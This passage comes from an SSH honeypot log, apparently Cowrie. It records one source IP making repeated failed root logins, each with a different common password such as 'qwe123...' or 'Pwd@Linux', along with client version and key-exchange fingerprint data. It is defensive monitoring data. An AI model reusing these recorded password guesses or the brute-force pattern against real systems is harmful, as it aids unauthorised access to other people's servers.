cdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:13.391437Z","src_ip":"60.165.124.241","session":"b9cadace0049","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blink@bilimcdn","message":"login attempt [root/blink@bilimcdn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:14.136138Z","src_ip":"60.165.124.241","session":"b9cadace0049","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:15.383376Z","src_ip":"60.165.124.241","session":"b9cadace0049","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51822,"dst_ip":"10.17.0.5","dst_port":22,"session":"037f547196d2","protocol":"ssh","message":"New connection: 60.165.124.241:51822 (10.17.0.5:22) [session: 037f547196d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:15.656789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:15.661507Z","src_ip":"60.165.124.241","session":"037f547196d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:15.930203Z","src_ip":"60.165.124.241","session":"037f547196d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Brichete@123...","message":"login attempt [root/Brichete@123...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:16.719551Z","src_ip":"60.165.124.241","session":"037f547196d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:17.983296Z","src_ip":"60.165.124.241","session":"037f547196d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54966,"dst_ip":"10.17.0.5","dst_port":22,"session":"e247919aaa9a","protocol":"ssh","message":"New connection: 60.165.124.241:54966 (10.17.0.5:22) [session: e247919aaa9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:18.205085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:18.214857Z","src_ip":"60.165.124.241","session":"e247919aaa9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:18.454126Z","src_ip":"60.165.124.241","session":"e247919aaa9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234qwer@!","message":"login attempt [root/1234qwer@!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:19.182301Z","src_ip":"60.165.124.241","session":"e247919aaa9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:20.428586Z","src_ip":"60.165.124.241","session":"e247919aaa9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58222,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8c4713cf8c3","protocol":"ssh","message":"New connection: 60.165.124.241:58222 (10.17.0.5:22) [session: a8c4713cf8c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:20.701813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:20.707131Z","src_ip":"60.165.124.241","session":"a8c4713cf8c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:20.965413Z","src_ip":"60.165.124.241","session":"a8c4713cf8c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"winniethepooh","message":"login attempt [root/winniethepooh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:21.781941Z","src_ip":"60.165.124.241","session":"a8c4713cf8c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:23.054367Z","src_ip":"60.165.124.241","session":"a8c4713cf8c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33092,"dst_ip":"10.17.0.5","dst_port":22,"session":"77c09fb48b60","protocol":"ssh","message":"New connection: 60.165.124.241:33092 (10.17.0.5:22) [session: 77c09fb48b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:23.280141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:23.288889Z","src_ip":"60.165.124.241","session":"77c09fb48b60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:23.525272Z","src_ip":"60.165.124.241","session":"77c09fb48b60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"66668888","message":"login attempt [root/66668888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:24.239970Z","src_ip":"60.165.124.241","session":"77c09fb48b60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:25.490515Z","src_ip":"60.165.124.241","session":"77c09fb48b60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36132,"dst_ip":"10.17.0.5","dst_port":22,"session":"95285f756da8","protocol":"ssh","message":"New connection: 60.165.124.241:36132 (10.17.0.5:22) [session: 95285f756da8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:25.739309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:25.746681Z","src_ip":"60.165.124.241","session":"95285f756da8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:25.997147Z","src_ip":"60.165.124.241","session":"95285f756da8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Win,dows","message":"login attempt [root/Win,dows] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:26.737319Z","src_ip":"60.165.124.241","session":"95285f756da8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:27.990465Z","src_ip":"60.165.124.241","session":"95285f756da8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39048,"dst_ip":"10.17.0.5","dst_port":22,"session":"79c9f7306c59","protocol":"ssh","message":"New connection: 60.165.124.241:39048 (10.17.0.5:22) [session: 79c9f7306c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:28.223284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:28.228935Z","src_ip":"60.165.124.241","session":"79c9f7306c59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:28.472620Z","src_ip":"60.165.124.241","session":"79c9f7306c59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123...","message":"login attempt [root/qwe123...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:29.202845Z","src_ip":"60.165.124.241","session":"79c9f7306c59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:30.450757Z","src_ip":"60.165.124.241","session":"79c9f7306c59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42084,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f44ad4eecf0","protocol":"ssh","message":"New connection: 60.165.124.241:42084 (10.17.0.5:22) [session: 6f44ad4eecf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:30.689173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:30.694732Z","src_ip":"60.165.124.241","session":"6f44ad4eecf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:30.938266Z","src_ip":"60.165.124.241","session":"6f44ad4eecf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123654@","message":"login attempt [root/Aa123654@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:31.660363Z","src_ip":"60.165.124.241","session":"6f44ad4eecf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:32.898700Z","src_ip":"60.165.124.241","session":"6f44ad4eecf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45292,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf5044cda522","protocol":"ssh","message":"New connection: 60.165.124.241:45292 (10.17.0.5:22) [session: cf5044cda522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:33.130587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:33.135421Z","src_ip":"60.165.124.241","session":"cf5044cda522","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:33.374049Z","src_ip":"60.165.124.241","session":"cf5044cda522","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pwd@Linux","message":"login attempt [root/Pwd@Linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:34.088449Z","src_ip":"60.165.124.241","session":"cf5044cda522","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:35.327095Z","src_ip":"60.165.124.241","session":"cf5044cda522","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47956,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2b96ab1652f","protocol":"ssh","message":"New connection: 60.165.124.241:47956 (10.17.0.5:22) [session: e2b96ab1652f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:35.560571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:35.565355Z","src_ip":"60.165.124.241","session":"e2b96ab1652f","protocol":"ssh"}
